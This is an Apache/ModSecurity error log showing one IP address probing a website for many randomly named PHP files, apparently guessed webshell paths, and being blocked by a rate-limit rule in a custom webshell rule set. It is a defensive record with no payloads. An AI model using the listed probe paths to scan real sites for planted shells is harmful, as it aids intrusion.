[Fri Apr 24 21:59:33.443212 2026] [:error] [pid 17720:tid 17767] [client 4.235.80.198:37103] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bpxrn.php"] [unique_id "aet3RehlUs6BS3Ng7_XDKQAAAM0"]
[Fri Apr 24 21:59:34.795355 2026] [:error] [pid 4177:tid 4207] [client 4.235.80.198:55728] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bpxrn.php"] [unique_id "aet3Rn2asKnvdrSe0x49HgAAAZY"]
[Fri Apr 24 21:59:36.280955 2026] [:error] [pid 17808:tid 17815] [client 4.235.80.198:32633] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aet3SOarbOEFI8qshvJQMgAAAEU"]
[Fri Apr 24 21:59:37.499765 2026] [:error] [pid 14531:tid 14556] [client 4.235.80.198:19055] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aet3SXfLU2gw-6KR-GbbngAAAVc"]
[Fri Apr 24 21:59:39.255081 2026] [:error] [pid 4177:tid 4195] [client 4.235.80.198:47089] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aet3S32asKnvdrSe0x49IAAAAYo"]
[Fri Apr 24 21:59:40.087707 2026] [:error] [pid 17808:tid 17816] [client 4.235.80.198:1985] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aet3TOarbOEFI8qshvJQRAAAAEY"]
[Fri Apr 24 21:59:41.371259 2026] [:error] [pid 17808:tid 17812] [client 4.235.80.198:30985] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws37.php"] [unique_id "aet3TearbOEFI8qshvJQSgAAAEI"]
[Fri Apr 24 21:59:43.440418 2026] [:error] [pid 17808:tid 17827] [client 4.235.80.198:30991] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws37.php"] [unique_id "aet3T-arbOEFI8qshvJQUQAAAFE"]
[Fri Apr 24 21:59:44.190807 2026] [:error] [pid 4177:tid 4185] [client 4.235.80.198:1730] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws37.php"] [unique_id "aet3UH2asKnvdrSe0x49KAAAAYA"]
[Fri Apr 24 21:59:45.646303 2026] [:error] [pid 22114:tid 22131] [client 4.235.80.198:1443] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws37.php"] [unique_id "aet3UYAuWGz3WlMQjof5BgAAAQ4"]
[Fri Apr 24 21:59:47.573994 2026] [:error] [pid 4177:tid 4205] [client 4.235.80.198:31025] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "aet3U32asKnvdrSe0x49LAAAAZQ"]
[Fri Apr 24 21:59:48.732990 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:54071] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "aet3VH2asKnvdrSe0x49LQAAAZA"]
[Fri Apr 24 21:59:50.800538 2026] [:error] [pid 4177:tid 4200] [client 4.235.80.198:57357] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "aet3Vn2asKnvdrSe0x49OAAAAY8"]
[Fri Apr 24 21:59:52.173746 2026] [:error] [pid 17720:tid 17775] [client 4.235.80.198:29561] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "aet3WOhlUs6BS3Ng7_XDQwAAANU"]
[Fri Apr 24 21:59:53.468584 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:31012] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bojcdooq.php"] [unique_id "aet3WX2asKnvdrSe0x49RAAAAYg"]
[Fri Apr 24 21:59:58.973795 2026] [:error] [pid 14531:tid 14545] [client 4.235.80.198:1639] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bojcdooq.php"] [unique_id "aet3XnfLU2gw-6KR-GbbrgAAAUw"]
[Fri Apr 24 21:59:59.915593 2026] [:error] [pid 14531:tid 14544] [client 4.235.80.198:1611] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bojcdooq.php"] [unique_id "aet3X3fLU2gw-6KR-GbbsgAAAUs"]
[Fri Apr 24 22:00:02.602928 2026] [:error] [pid 4177:tid 4203] [client 4.235.80.198:40305] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bojcdooq.php"] [unique_id "aet3Yn2asKnvdrSe0x49WwAAAZI"]
[Fri Apr 24 22:00:03.288453 2026] [:error] [pid 17721:tid 17790] [client 4.235.80.198:55732] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "aet3Y-FXXkLeyDnfk_9MyAAAAAk"]
[Fri Apr 24 22:00:05.541439 2026] [:error] [pid 17721:tid 17787] [client 4.235.80.198:56701] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "aet3ZeFXXkLeyDnfk_9MygAAAAY"]
[Fri Apr 24 22:00:08.127934 2026] [:error] [pid 17721:tid 17805] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/zdd.php
[Fri Apr 24 22:00:08.589248 2026] [:error] [pid 17721:tid 17805] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/133.php
[Fri Apr 24 22:00:08.896097 2026] [:error] [pid 17721:tid 17803] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/jq.php
[Fri Apr 24 22:00:09.180806 2026] [:error] [pid 17721:tid 17794] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/cro.php
[Fri Apr 24 22:00:09.488466 2026] [:error] [pid 17721:tid 17797] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/wwx.php
[Fri Apr 24 22:00:09.983114 2026] [:error] [pid 17721:tid 17785] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/trx24.php
[Fri Apr 24 22:00:10.272337 2026] [:error] [pid 17721:tid 17784] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/blox.php
[Fri Apr 24 22:00:10.660339 2026] [:error] [pid 17721:tid 17798] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/berax.php
[Fri Apr 24 22:00:11.000949 2026] [:error] [pid 17721:tid 17792] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/bkxzo.php
[Fri Apr 24 22:00:11.400468 2026] [:error] [pid 17721:tid 17802] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/cdxadmin.php
[Fri Apr 24 22:00:11.903924 2026] [:error] [pid 17721:tid 17786] [client 4.235.80.198:23364] File does not exist: /usr/local/apache/htdocs/suspended-page/dfre.php
[Fri Apr 24 22:00:12.270178 2026] [:error] [pid 17721:tid 17791] [client 4.235.80.198:23364] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "aet3bOFXXkLeyDnfk_9M2QAAAAo"]
[Fri Apr 24 22:00:13.516767 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:24347] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "aet3bX2asKnvdrSe0x49agAAAYg"]
[Fri Apr 24 22:00:14.509606 2026] [:error] [pid 14531:tid 14549] [client 4.235.80.198:40311] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "aet3bnfLU2gw-6KR-GbbugAAAVA"]
[Fri Apr 24 22:00:17.493097 2026] [:error] [pid 17808:tid 17833] [client 4.235.80.198:37616] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "aet3cearbOEFI8qshvJQfAAAAFc"]
[Fri Apr 24 22:00:19.006327 2026] [:error] [pid 17808:tid 17824] [client 4.235.80.198:42619] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shorw.php"] [unique_id "aet3c-arbOEFI8qshvJQgQAAAE4"]
[Fri Apr 24 22:00:20.267927 2026] [:error] [pid 4177:tid 4208] [client 4.235.80.198:40317] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shorw.php"] [unique_id "aet3dH2asKnvdrSe0x49gAAAAZc"]
[Fri Apr 24 22:00:21.820103 2026] [:error] [pid 22114:tid 22122] [client 4.235.80.198:37581] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shorw.php"] [unique_id "aet3dYAuWGz3WlMQjof5EQAAAQU"]
[Fri Apr 24 22:00:23.644964 2026] [:error] [pid 17719:tid 17742] [client 4.235.80.198:60686] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shorw.php"] [unique_id "aet3d8TZ9gzEyL1BkPq5HgAAAI8"]
[Fri Apr 24 22:00:26.121248 2026] [:error] [pid 17808:tid 17827] [client 4.235.80.198:60499] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shelp.php"] [unique_id "aet3euarbOEFI8qshvJQhwAAAFE"]
[Fri Apr 24 22:00:27.868143 2026] [:error] [pid 14531:tid 14545] [client 4.235.80.198:1668] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shelp.php"] [unique_id "aet3e3fLU2gw-6KR-Gbb1gAAAUw"]
[Fri Apr 24 22:00:29.462590 2026] [:error] [pid 17720:tid 17776] [client 4.235.80.198:23380] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shelp.php"] [unique_id "aet3fehlUs6BS3Ng7_XDYAAAANY"]
[Fri Apr 24 22:00:31.516135 2026] [:error] [pid 4177:tid 4191] [client 4.235.80.198:43050] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shelp.php"] [unique_id "aet3f32asKnvdrSe0x49iwAAAYY"]
[Fri Apr 24 22:00:32.649634 2026] [:error] [pid 4177:tid 4203] [client 4.235.80.198:22313] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seyv.php"] [unique_id "aet3gH2asKnvdrSe0x49jwAAAZI"]
[Fri Apr 24 22:00:33.835064 2026] [:error] [pid 17808:tid 17820] [client 4.235.80.198:56671] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seyv.php"] [unique_id "aet3gearbOEFI8qshvJQjQAAAEo"]
[Fri Apr 24 22:00:36.421015 2026] [:error] [pid 17719:tid 17728] [client 4.235.80.198:53123] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seyv.php"] [unique_id "aet3hMTZ9gzEyL1BkPq5IAAAAIE"]
[Fri Apr 24 22:00:38.282038 2026] [:error] [pid 4177:tid 4185] [client 4.235.80.198:60495] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seyv.php"] [unique_id "aet3hn2asKnvdrSe0x49mQAAAYA"]
[Fri Apr 24 22:00:39.146402 2026] [:error] [pid 17720:tid 17771] [client 4.235.80.198:23406] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aet3h-hlUs6BS3Ng7_XDaAAAANE"]
[Fri Apr 24 22:00:40.973432 2026] [:error] [pid 17720:tid 17770] [client 4.235.80.198:33505] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aet3iOhlUs6BS3Ng7_XDcQAAANA"]
[Fri Apr 24 22:00:42.217934 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:43068] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aet3in2asKnvdrSe0x49nwAAAYg"]
[Fri Apr 24 22:00:42.989693 2026] [:error] [pid 17720:tid 17762] [client 4.235.80.198:51606] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aet3iuhlUs6BS3Ng7_XDdAAAAMg"]
[Fri Apr 24 22:00:44.502831 2026] [:error] [pid 17808:tid 17829] [client 4.235.80.198:22282] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aet3jOarbOEFI8qshvJQlgAAAFM"]
[Fri Apr 24 22:00:45.376615 2026] [:error] [pid 17720:tid 17774] [client 4.235.80.198:45027] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aet3jehlUs6BS3Ng7_XDeQAAANQ"]
[Fri Apr 24 22:00:46.960346 2026] [:error] [pid 17808:tid 17823] [client 4.235.80.198:37590] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aet3juarbOEFI8qshvJQmAAAAE0"]
[Fri Apr 24 22:00:49.322024 2026] [:error] [pid 4177:tid 4186] [client 4.235.80.198:37579] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aet3kX2asKnvdrSe0x49qgAAAYE"]
[Fri Apr 24 22:00:50.706029 2026] [:error] [pid 17720:tid 17759] [client 4.235.80.198:23408] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8rd1.php"] [unique_id "aet3kuhlUs6BS3Ng7_XDhQAAAMU"]
[Fri Apr 24 22:00:55.022792 2026] [:error] [pid 4177:tid 4196] [client 4.235.80.198:63028] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8rd1.php"] [unique_id "aet3l32asKnvdrSe0x49vQAAAYs"]
[Fri Apr 24 22:00:59.700025 2026] [:error] [pid 4177:tid 4188] [client 4.235.80.198:1875] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8rd1.php"] [unique_id "aet3m32asKnvdrSe0x490QAAAYM"]
[Fri Apr 24 22:01:00.621024 2026] [:error] [pid 22114:tid 22123] [client 4.235.80.198:37595] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8rd1.php"] [unique_id "aet3nIAuWGz3WlMQjof5GAAAAQY"]
[Fri Apr 24 22:01:01.920804 2026] [:error] [pid 4177:tid 4186] [client 4.235.80.198:39730] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saxzgf5.php"] [unique_id "aet3nX2asKnvdrSe0x493AAAAYE"]
[Fri Apr 24 22:01:03.725755 2026] [:error] [pid 17720:tid 17769] [client 4.235.80.198:37619] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saxzgf5.php"] [unique_id "aet3n-hlUs6BS3Ng7_XDngAAAM8"]
[Fri Apr 24 22:01:04.440457 2026] [:error] [pid 22114:tid 22131] [client 4.235.80.198:1880] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saxzgf5.php"] [unique_id "aet3oIAuWGz3WlMQjof5GgAAAQ4"]
[Fri Apr 24 22:01:06.644778 2026] [:error] [pid 17720:tid 17769] [client 4.235.80.198:60680] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saxzgf5.php"] [unique_id "aet3ouhlUs6BS3Ng7_XDpwAAAM8"]
